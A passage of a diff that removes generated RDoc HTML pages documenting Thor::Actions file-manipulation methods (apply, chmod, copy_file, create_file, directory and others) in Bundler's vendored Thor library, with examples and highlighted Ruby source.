-					<li><span class="type">CLASS</span> <a href="Actions/Directory.html">Thor::Actions::Directory</a></li>
-					
-					<li><span class="type">CLASS</span> <a href="Actions/EmptyDirectory.html">Thor::Actions::EmptyDirectory</a></li>
-					
-					<li><span class="type">CLASS</span> <a href="Actions/InjectIntoFile.html">Thor::Actions::InjectIntoFile</a></li>
-					
-				</ul>
-			</div>
-			
-
-			<!-- Method Quickref -->
-			
-			<div id="method-list-section" class="section">
-				<h3 class="section-header">Methods</h3>
-				<ul class="link-list">
-					
-					<li><a href="#method-c-new">::new</a></li>
-					
-					<li><a href="#method-i-add_file">#add_file</a></li>
-					
-					<li><a href="#method-i-append_file">#append_file</a></li>
-					
-					<li><a href="#method-i-apply">#apply</a></li>
-					
-					<li><a href="#method-i-chmod">#chmod</a></li>
-					
-					<li><a href="#method-i-copy_file">#copy_file</a></li>
-					
-					<li><a href="#method-i-create_file">#create_file</a></li>
-					
-					<li><a href="#method-i-destination_root">#destination_root</a></li>
-					
-					<li><a href="#method-i-destination_root%3D">#destination_root=</a></li>
-					
-					<li><a href="#method-i-directory">#directory</a></li>
-					
-					<li><a href="#method-i-empty_directory">#empty_directory</a></li>
-					
-					<li><a href="#method-i-find_in_source_paths">#find_in_source_paths</a></li>
-					
-					<li><a href="#method-i-get">#get</a></li>
-					
-					<li><a href="#method-i-gsub_file">#gsub_file</a></li>
-					
-					<li><a href="#method-i-in_root">#in_root</a></li>
-					
-					<li><a href="#method-i-inject_into_class">#inject_into_class</a></li>
-					
-					<li><a href="#method-i-inject_into_file">#inject_into_file</a></li>
-					
-					<li><a href="#method-i-inside">#inside</a></li>
-					
-					<li><a href="#method-i-prepend_file">#prepend_file</a></li>
-					
-					<li><a href="#method-i-relative_to_original_destination_root">#relative_to_original_destination_root</a></li>
-					
-					<li><a href="#method-i-remove_dir">#remove_dir</a></li>
-					
-					<li><a href="#method-i-remove_file">#remove_file</a></li>
-					
-					<li><a href="#method-i-run">#run</a></li>
-					
-					<li><a href="#method-i-run_ruby_script">#run_ruby_script</a></li>
-					
-					<li><a href="#method-i-source_paths">#source_paths</a></li>
-					
-					<li><a href="#method-i-template">#template</a></li>
-					
-					<li><a href="#method-i-thor">#thor</a></li>
-					
-				</ul>
-			</div>
-			
-
-			<!-- Included Modules -->
-			
-		</div>
-
-		<div id="project-metadata">
-			
-			
-			<div id="fileindex-section" class="section project-section">
-				<h3 class="section-header">Files</h3>
-				<ul>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle.html">bundle</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-benchmark.html">bundle-benchmark</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-benchmark_txt.html">bundle-benchmark.txt</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-config.html">bundle-config</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-config_txt.html">bundle-config.txt</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-exec.html">bundle-exec</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-exec_txt.html">bundle-exec.txt</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-install.html">bundle-install</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-install_txt.html">bundle-install.txt</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-package.html">bundle-package</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-package_txt.html">bundle-package.txt</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-update.html">bundle-update</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-update_txt.html">bundle-update.txt</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle_txt.html">bundle.txt</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/gemfile_5_txt.html">gemfile.5.txt</a></li>
-				
-					<li class="file"><a href="../lib/bundler/templates/Gemfile.html">Gemfile</a></li>
-				
-				</ul>
-			</div>
-			
-
-			<div id="classindex-section" class="section project-section">
-				<h3 class="section-header">Class Index
-					<span class="search-toggle"><img src="../images/find.png"
-						height="16" width="16" alt="[+]"
-						title="show/hide quicksearch" /></span></h3>
-				<form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
-				<fieldset>
-					<legend>Quicksearch</legend>
-					<input type="text" name="quicksearch" value=""
-						class="quicksearch-field" />
-				</fieldset>
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-
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-				
-					<li><a href="../Bundler.html">Bundler</a></li>
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-				
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-				
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-				
-					<li><a href="../Bundler/SharedHelpers.html">Bundler::SharedHelpers</a></li>
-				
-					<li><a href="../Bundler/Source.html">Bundler::Source</a></li>
-				
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-				
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-				
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-				
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-				
-					<li><a href="../Bundler/UI/Shell.html">Bundler::UI::Shell</a></li>
-				
-					<li><a href="../Bundler/VersionConflict.html">Bundler::VersionConflict</a></li>
-				
-					<li><a href="../Thor.html">Thor</a></li>
-				
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-				
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-				
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-				
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-				
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-				
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-				
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-				
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-				
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-				
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-				
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-				
-					<li><a href="../Thor/UndefinedTaskError.html">Thor::UndefinedTaskError</a></li>
-				
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-				
-					<li><a href="../Thor/Util.html">Thor::Util</a></li>
-				
-					<li><a href="../Gem.html">Gem</a></li>
-				
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-				
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-				
-				</ul>
-				<div id="no-class-search-results" style="display: none;">No matching classes.</div>
-			</div>
-
-			
-		</div>
-	</div>
-
-	<div id="documentation">
-		<h1 class="module">Thor::Actions</h1>
-
-		<div id="description">
-			
-		</div>
-
-		<!-- Constants -->
-		
-
-		<!-- Attributes -->
-		
-		<div id="attribute-method-details" class="method-section section">
-			<h3 class="section-header">Attributes</h3>
-
-			
-			<div id="behavior-attribute-method" class="method-detail">
-				<a name="behavior"></a>
-				
-				<a name="behavior="></a>
-				
-				<div class="method-heading attribute-method-heading">
-					<span class="method-name">behavior</span><span
-						class="attribute-access-type">[RW]</span>
-				</div>
-
-				<div class="method-description">
-				
-				
-				
-				</div>
-			</div>
-			
-		</div>
-		
-
-		<!-- Methods -->
-		
-		<div id="public-class-method-details" class="method-section section">
-			<h3 class="section-header">Public Class Methods</h3>
-
-		
-			<div id="new-method" class="method-detail ">
-				<a name="method-c-new"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">new</span><span
-						class="method-args">(args=[], options={}, config={})</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Extends initializer to add more configuration options.
-</p>
-<h4>Configuration</h4>
-<table>
-<tr><td valign="top">behavior<Symbol></td><td><p>
-The actions default behavior. Can be :invoke or :revoke. It also accepts
-:force, :skip and :pretend to set the behavior and the respective option.
-</p>
-</td></tr>
-<tr><td valign="top"><a href="Actions.html#method-i-destination_root">destination_root</a><String></td><td><p>
-The root directory needed for some actions.
-</p>
-</td></tr>
-</table>
-					
-
-					
-					<div class="method-source-code"
-						id="new-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/actions.rb, line 72</span>
-72:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">initialize</span>(<span class="ruby-identifier">args</span>=[], <span class="ruby-identifier">options</span>={}, <span class="ruby-identifier">config</span>={})
-73:       <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">behavior</span> = <span class="ruby-keyword kw">case</span> <span class="ruby-identifier">config</span>[<span class="ruby-value">:behavior</span>].<span class="ruby-identifier">to_s</span>
-74:         <span class="ruby-keyword kw">when</span> <span class="ruby-value str">&quot;force&quot;</span>, <span class="ruby-value str">&quot;skip&quot;</span>
-75:           <span class="ruby-identifier">_cleanup_options_and_set</span>(<span class="ruby-identifier">options</span>, <span class="ruby-identifier">config</span>[<span class="ruby-value">:behavior</span>])
-76:           <span class="ruby-value">:invoke</span>
-77:         <span class="ruby-keyword kw">when</span> <span class="ruby-value str">&quot;revoke&quot;</span>
-78:           <span class="ruby-value">:revoke</span>
-79:         <span class="ruby-keyword kw">else</span>
-80:           <span class="ruby-value">:invoke</span>
-81:       <span class="ruby-keyword kw">end</span>
-82: 
-83:       <span class="ruby-keyword kw">super</span>
-84:       <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">destination_root</span> = <span class="ruby-identifier">config</span>[<span class="ruby-value">:destination_root</span>]
-85:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-		</div>
-	
-		<div id="public-instance-method-details" class="method-section section">
-			<h3 class="section-header">Public Instance Methods</h3>
-
-		
-			<div id="add-file-method" class="method-detail method-alias">
-				<a name="method-i-add_file"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">add_file</span><span
-						class="method-args">(destination, *args, &block)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-				</div>
-
-				
-
-				
-				<div class="aliases">
-          Alias for: <a href="Actions.html#method-i-create_file">create_file</a>
-				</div>
-				
-			</div>
-
-		
-			<div id="append-file-method" class="method-detail ">
-				<a name="method-i-append_file"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">append_file</span><span
-						class="method-args">(path, *args, &block)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Append text to a file. Since it depends on <a
-href="Actions.html#method-i-inject_into_file">inject_into_file</a>,
-it&#8217;s reversible.
-</p>
-<h4>Parameters</h4>
-<table>
-<tr><td valign="top">path<String></td><td><p>
-path of the file to be changed
-</p>
-</td></tr>
-<tr><td valign="top">data<String></td><td><p>
-the data to append to the file, can be also given as a block.
-</p>
-</td></tr>
-<tr><td valign="top">config<Hash></td><td><p>
-give :verbose => false to not log the status.
-</p>
-</td></tr>
-</table>
-<h4>Example</h4>
-<pre>
-  append_file 'config/environments/test.rb', 'config.gem &quot;rspec&quot;'
-
-  append_file 'config/environments/test.rb' do
-    'config.gem &quot;rspec&quot;'
-  end</pre>
-					
-
-					
-					<div class="method-source-code"
-						id="append-file-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/actions/file_manipulation.rb, line 149</span>
-149:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">append_file</span>(<span class="ruby-identifier">path</span>, *<span class="ruby-identifier">args</span>, &amp;<span class="ruby-identifier">block</span>)
-150:       <span class="ruby-identifier">config</span> = <span class="ruby-identifier">args</span>.<span class="ruby-identifier">last</span>.<span class="ruby-identifier">is_a?</span>(<span class="ruby-constant">Hash</span>) <span class="ruby-operator">?</span> <span class="ruby-identifier">args</span>.<span class="ruby-identifier">pop</span> <span class="ruby-operator">:</span> {}
-151:       <span class="ruby-identifier">config</span>.<span class="ruby-identifier">merge!</span>(<span class="ruby-value">:before</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-regexp re">/\z/</span>)
-152:       <span class="ruby-identifier">inject_into_file</span>(<span class="ruby-identifier">path</span>, *(<span class="ruby-identifier">args</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">config</span>), &amp;<span class="ruby-identifier">block</span>)
-153:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="apply-method" class="method-detail ">
-				<a name="method-i-apply"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">apply</span><span
-						class="method-args">(path, config={})</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Loads an external file and execute it in the instance binding.
-</p>
-<h4>Parameters</h4>
-<table>
-<tr><td valign="top">path<String></td><td><p>
-The path to the file to execute. Can be a web address or a relative path
-from the source root.
-</p>
-</td></tr>
-</table>
-<h4>Examples</h4>
-<pre>
-  apply &quot;http://gist.github.com/103208&quot;
-
-  apply &quot;recipes/jquery.rb&quot;</pre>
-					
-
-					
-					<div class="method-source-code"
-						id="apply-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/actions.rb, line 191</span>
-191:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">apply</span>(<span class="ruby-identifier">path</span>, <span class="ruby-identifier">config</span>={})
-192:       <span class="ruby-identifier">verbose</span> = <span class="ruby-identifier">config</span>.<span class="ruby-identifier">fetch</span>(<span class="ruby-value">:verbose</span>, <span class="ruby-keyword kw">true</span>)
-193:       <span class="ruby-identifier">is_uri</span>  = <span class="ruby-identifier">path</span> <span class="ruby-operator">=~</span> <span class="ruby-regexp re">/^https?\:\/\//</span>
-194:       <span class="ruby-identifier">path</span>    = <span class="ruby-identifier">find_in_source_paths</span>(<span class="ruby-identifier">path</span>) <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">is_uri</span>
-195: 
-196:       <span class="ruby-identifier">say_status</span> <span class="ruby-value">:apply</span>, <span class="ruby-identifier">path</span>, <span class="ruby-identifier">verbose</span>
-197:       <span class="ruby-identifier">shell</span>.<span class="ruby-identifier">padding</span> <span class="ruby-operator">+=</span> <span class="ruby-value">1</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">verbose</span>
-198: 
-199:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">is_uri</span>
-200:         <span class="ruby-identifier">contents</span> = <span class="ruby-identifier">open</span>(<span class="ruby-identifier">path</span>, <span class="ruby-value str">&quot;Accept&quot;</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value str">&quot;application/x-thor-template&quot;</span>) {<span class="ruby-operator">|</span><span class="ruby-identifier">io</span><span class="ruby-operator">|</span> <span class="ruby-identifier">io</span>.<span class="ruby-identifier">read</span> }
-201:       <span class="ruby-keyword kw">else</span>
-202:         <span class="ruby-identifier">contents</span> = <span class="ruby-identifier">open</span>(<span class="ruby-identifier">path</span>) {<span class="ruby-operator">|</span><span class="ruby-identifier">io</span><span class="ruby-operator">|</span> <span class="ruby-identifier">io</span>.<span class="ruby-identifier">read</span> }
-203:       <span class="ruby-keyword kw">end</span>
-204: 
-205:       <span class="ruby-identifier">instance_eval</span>(<span class="ruby-identifier">contents</span>, <span class="ruby-identifier">path</span>)
-206:       <span class="ruby-identifier">shell</span>.<span class="ruby-identifier">padding</span> <span class="ruby-operator">-=</span> <span class="ruby-value">1</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">verbose</span>
-207:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="chmod-method" class="method-detail ">
-				<a name="method-i-chmod"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">chmod</span><span
-						class="method-args">(path, mode, config={})</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Changes the mode of the given file or directory.
-</p>
-<h4>Parameters</h4>
-<table>
-<tr><td valign="top">mode<Integer></td><td><p>
-the file mode
-</p>
-</td></tr>
-<tr><td valign="top">path<String></td><td><p>
-the name of the file to change mode
-</p>
-</td></tr>
-<tr><td valign="top">config<Hash></td><td><p>
-give :verbose => false to not log the status.
-</p>
-</td></tr>
-</table>
-<h4>Example</h4>
-<pre>
-  chmod &quot;script/*&quot;, 0755</pre>
-					
-
-					
-					<div class="method-source-code"
-						id="chmod-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/actions/file_manipulation.rb, line 106</span>
-106:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">chmod</span>(<span class="ruby-identifier">path</span>, <span class="ruby-identifier">mode</span>, <span class="ruby-identifier">config</span>={})
-107:       <span class="ruby-keyword kw">return</span> <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">behavior</span> <span class="ruby-operator">==</span> <span class="ruby-value">:invoke</span>
-108:       <span class="ruby-identifier">path</span> = <span class="ruby-constant">File</span>.<span class="ruby-identifier">expand_path</span>(<span class="ruby-identifier">path</span>, <span class="ruby-identifier">destination_root</span>)
-109:       <span class="ruby-identifier">say_status</span> <span class="ruby-value">:chmod</span>, <span class="ruby-identifier">relative_to_original_destination_root</span>(<span class="ruby-identifier">path</span>), <span class="ruby-identifier">config</span>.<span class="ruby-identifier">fetch</span>(<span class="ruby-value">:verbose</span>, <span class="ruby-keyword kw">true</span>)
-110:       <span class="ruby-constant">FileUtils</span>.<span class="ruby-identifier">chmod_R</span>(<span class="ruby-identifier">mode</span>, <span class="ruby-identifier">path</span>) <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">options</span>[<span class="ruby-value">:pretend</span>]
-111:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="copy-file-method" class="method-detail ">
-				<a name="method-i-copy_file"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">copy_file</span><span
-						class="method-args">(source, *args, &block)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Copies the file from the relative source to the relative destination. If
-the destination is not given it&#8217;s assumed to be equal to the source.
-</p>
-<h4>Parameters</h4>
-<table>
-<tr><td valign="top">source<String></td><td><p>
-the relative path to the source root.
-</p>
-</td></tr>
-<tr><td valign="top">destination<String></td><td><p>
-the relative path to the destination root.
-</p>
-</td></tr>
-<tr><td valign="top">config<Hash></td><td><p>
-give :verbose => false to not log the status.
-</p>
-</td></tr>
-</table>
-<h4>Examples</h4>
-<pre>
-  copy_file &quot;README&quot;, &quot;doc/README&quot;
-
-  copy_file &quot;doc/README&quot;</pre>
-					
-
-					
-					<div class="method-source-code"
-						id="copy-file-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/actions/file_manipulation.rb, line 21</span>
-21:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">copy_file</span>(<span class="ruby-identifier">source</span>, *<span class="ruby-identifier">args</span>, &amp;<span class="ruby-identifier">block</span>)
-22:       <span class="ruby-identifier">config</span> = <span class="ruby-identifier">args</span>.<span class="ruby-identifier">last</span>.<span class="ruby-identifier">is_a?</span>(<span class="ruby-constant">Hash</span>) <span class="ruby-operator">?</span> <span class="ruby-identifier">args</span>.<span class="ruby-identifier">pop</span> <span class="ruby-operator">:</span> {}
-23:       <span class="ruby-identifier">destination</span> = <span class="ruby-identifier">args</span>.<span class="ruby-identifier">first</span> <span class="ruby-operator">||</span> <span class="ruby-identifier">source</span>
-24:       <span class="ruby-identifier">source</span> = <span class="ruby-constant">File</span>.<span class="ruby-identifier">expand_path</span>(<span class="ruby-identifier">find_in_source_paths</span>(<span class="ruby-identifier">source</span>.<span class="ruby-identifier">to_s</span>))
-25: 
-26:       <span class="ruby-identifier">create_file</span> <span class="ruby-identifier">destination</span>, <span class="ruby-keyword kw">nil</span>, <span class="ruby-identifier">config</span> <span class="ruby-keyword kw">do</span>
-27:         <span class="ruby-identifier">content</span> = <span class="ruby-constant">File</span>.<span class="ruby-identifier">binread</span>(<span class="ruby-identifier">source</span>)
-28:         <span class="ruby-identifier">content</span> = <span class="ruby-identifier">block</span>.<span class="ruby-identifier">call</span>(<span class="ruby-identifier">content</span>) <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">block</span>
-29:         <span class="ruby-identifier">content</span>
-30:       <span class="ruby-keyword kw">end</span>
-31:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="create-file-method" class="method-detail ">
-				<a name="method-i-create_file"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">create_file</span><span
-						class="method-args">(destination, *args, &block)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Create a new file relative to the destination root with the given data,
-which is the return value of a block or a data string.
-</p>
-<h4>Parameters</h4>
-<table>
-<tr><td valign="top">destination<String></td><td><p>
-the relative path to the destination root.
-</p>
-</td></tr>
-<tr><td valign="top">data<String|NilClass></td><td><p>
-the data to append to the file.
-</p>
-</td></tr>
-<tr><td valign="top">config<Hash></td><td><p>
-give :verbose => false to not log the status.
-</p>
-</td></tr>
-</table>
-<h4>Examples</h4>
-<pre>
-  create_file &quot;lib/fun_party.rb&quot; do
-    hostname = ask(&quot;What is the virtual hostname I should use?&quot;)
-    &quot;vhost.name = #{hostname}&quot;
-  end
-
-  create_file &quot;config/apach.conf&quot;, &quot;your apache config&quot;</pre>
-					
-
-					
-					<div class="method-source-code"
-						id="create-file-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/actions/create_file.rb, line 23</span>
-23:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">create_file</span>(<span class="ruby-identifier">destination</span>, *<span class="ruby-identifier">args</span>, &amp;<span class="ruby-identifier">block</span>)
-24:       <span class="ruby-identifier">config</span> = <span class="ruby-identifier">args</span>.<span class="ruby-identifier">last</span>.<span class="ruby-identifier">is_a?</span>(<span class="ruby-constant">Hash</span>) <span class="ruby-operator">?</span> <span class="ruby-identifier">args</span>.<span class="ruby-identifier">pop</span> <span class="ruby-operator">:</span> {}
-25:       <span class="ruby-identifier">data</span> = <span class="ruby-identifier">args</span>.<span class="ruby-identifier">first</span>
-26:       <span class="ruby-identifier">action</span> <span class="ruby-constant">CreateFile</span>.<span class="ruby-identifier">new</span>(<span class="ruby-keyword kw">self</span>, <span class="ruby-identifier">destination</span>, <span class="ruby-identifier">block</span> <span class="ruby-operator">||</span> <span class="ruby-identifier">data</span>.<span class="ruby-identifier">to_s</span>, <span class="ruby-identifier">config</span>)
-27:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-				<div class="aliases">
-					Also aliased as: <a href="Actions.html#method-i-add_file">add_file</a>
-				</div>
-				
-
-				
-			</div>
-
-		
-			<div id="destination-root-method" class="method-detail ">
-				<a name="method-i-destination_root"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">destination_root</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Returns the root for this thor class (also aliased as destination root).
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="destination-root-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/actions.rb, line 99</span>
- 99:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">destination_root</span>
-100:       <span class="ruby-ivar">@destination_stack</span>.<span class="ruby-identifier">last</span>
-101:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="destination-root--method" class="method-detail ">
-				<a name="method-i-destination_root%3D"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">destination_root=</span><span
-						class="method-args">(root)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Sets the root for this thor class. Relatives path are added to the
-directory where the script was invoked and expanded.
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="destination-root--source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/actions.rb, line 106</span>
-106:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">destination_root=</span>(<span class="ruby-identifier">root</span>)
-107:       <span class="ruby-ivar">@destination_stack</span> <span class="ruby-operator">||=</span> []
-108:       <span class="ruby-ivar">@destination_stack</span>[<span class="ruby-value">0</span>] = <span class="ruby-constant">File</span>.<span class="ruby-identifier">expand_path</span>(<span class="ruby-identifier">root</span> <span class="ruby-operator">||</span> <span class="ruby-value str">''</span>)
-109:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="directory-method" class="method-detail ">
-				<a name="method-i-directory"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">directory</span><span
-						class="method-args">(source, *args, &block)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Copies recursively the files from source directory to root directory. If
-any of the files finishes with .tt, it&#8217;s considered to be a template
-and is placed in the destination without the extension .tt. If any empty
-directory is found, it&#8217;s copied and all .<a
-href="Actions.html#method-i-empty_directory">empty_directory</a> files are
-ignored. Remember that file paths can also be encoded, let&#8217;s suppose
-a doc directory with the following files:
-</p>
-<pre>
-  doc/
-    components/.empty_directory
-    README
-    rdoc.rb.tt
-    %app_name%.rb
-</pre>
-<p>
-When invoked as:
-</p>
-<pre>
-  directory &quot;doc&quot;
-</pre>
-<p>
-It will create a doc directory in the destination with the following files
-(assuming that the app_name is &#8220;blog&#8221;):
-</p>
-<pre>
-  doc/
-    components/
-    README
-    rdoc.rb
-    blog.rb
-</pre>
-<h4>Parameters</h4>
-<table>
-<tr><td valign="top">source<String></td><td><p>
-the relative path to the source root.
-</p>
-</td></tr>
-<tr><td valign="top">destination<String></td><td><p>
-the relative path to the destination root.
-</p>
-</td></tr>
-<tr><td valign="top">config<Hash></td><td><p>
-give :verbose => false to not log the status. If :recursive => false, does
-not look for paths recursively.
-</p>
-</td></tr>
-</table>
-<h4>Examples</h4>
-<pre>
-  directory &quot;doc&quot;
-  directory &quot;doc&quot;, &quot;docs&quot;, :recursive =&gt; false</pre>
-					
-
-					
-					<div class="method-source-code"
-						id="directory-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/actions/directory.rb, line 43</span>
-43:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">directory</span>(<span class="ruby-identifier">source</span>, *<span class="ruby-identifier">args</span>, &amp;<span class="ruby-identifier">block</span>)
-44:       <span class="ruby-identifier">config</span> = <span class="ruby-identifier">args</span>.<span class="ruby-identifier">last</span>.<span class="ruby-identifier">is_a?</span>(<span class="ruby-constant">Hash</span>) <span class="ruby-operator">?</span> <span class="ruby-identifier">args</span>.<span class="ruby-identifier">pop</span> <span class="ruby-operator">:</span> {}
-45:       <span class="ruby-identifier">destination</span> = <span class="ruby-identifier">args</span>.<span class="ruby-identifier">first</span> <span class="ruby-operator">||</span> <span class="ruby-identifier">source</span>
-46:       <span class="ruby-identifier">action</span> <span class="ruby-constant">Directory</span>.<span class="ruby-identifier">new</span>(<span class="ruby-keyword kw">self</span>, <span class="ruby-identifier">source</span>, <span class="ruby-identifier">destination</span> <span class="ruby-operator">||</span> <span class="ruby-identifier">source</span>, <span class="ruby-identifier">config</span>, &amp;<span class="ruby-identifier">block</span>)
-47:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="empty-directory-method" class="method-detail ">
-				<a name="method-i-empty_directory"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">empty_directory</span><span
-						class="method-args">(destination, config={})</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Creates an empty directory.
-</p>
-<h4>Parameters</h4>
-<table>
-<tr><td valign="top">destination<String></td><td><p>
-the relative path to the destination root.
-</p>
-</td></tr>
-<tr><td valign="top">config<Hash></td><td><p>
-give :verbose => false to not log the status.
-</p>
-</td></tr>
-</table>
-<h4>Examples</h4>
-<pre>
-  empty_directory &quot;doc&quot;</pre>
-					
-
-					
-					<div class="method-source-code"
-						id="empty-directory-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/actions/empty_directory.rb, line 14</span>
-14:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">empty_directory</span>(<span class="ruby-identifier">destination</span>, <span class="ruby-identifier">config</span>={})
-15:       <span class="ruby-identifier">action</span> <span class="ruby-constant">EmptyDirectory</span>.<span class="ruby-identifier">new</span>(<span class="ruby-keyword kw">self</span>, <span class="ruby-identifier">destination</span>, <span class="ruby-identifier">config</span>)
-16:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="find-in-source-paths-method" class="method-detail ">
-				<a name="method-i-find_in_source_paths"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">find_in_source_paths</span><span
-						class="method-args">(file)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Receives a file or directory and search for it in the source paths.
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="find-in-source-paths-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/actions.rb, line 127</span>
-127:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">find_in_source_paths</span>(<span class="ruby-identifier">file</span>)
-128:       <span class="ruby-identifier">relative_root</span> = <span class="ruby-identifier">relative_to_original_destination_root</span>(<span class="ruby-identifier">destination_root</span>, <span class="ruby-keyword kw">false</span>)
-129: 
-130:       <span class="ruby-identifier">source_paths</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">source</span><span class="ruby-operator">|</span>
-131:         <span class="ruby-identifier">source_file</span> = <span class="ruby-constant">File</span>.<span class="ruby-identifier">expand_path</span>(<span class="ruby-identifier">file</span>, <span class="ruby-constant">File</span>.<span class="ruby-identifier">join</span>(<span class="ruby-identifier">source</span>, <span class="ruby-identifier">relative_root</span>))
-132:         <span class="ruby-keyword kw">return</span> <span class="ruby-identifier">source_file</span> <span class="ruby-keyword kw">if</span> <span class="ruby-constant">File</span>.<span class="ruby-identifier">exists?</span>(<span class="ruby-identifier">source_file</span>)
-133:       <span class="ruby-keyword kw">end</span>
-134: 
-135:       <span class="ruby-identifier">message</span> = <span class="ruby-node">&quot;Could not find #{file.inspect} in any of your source paths. &quot;</span>
-136: 
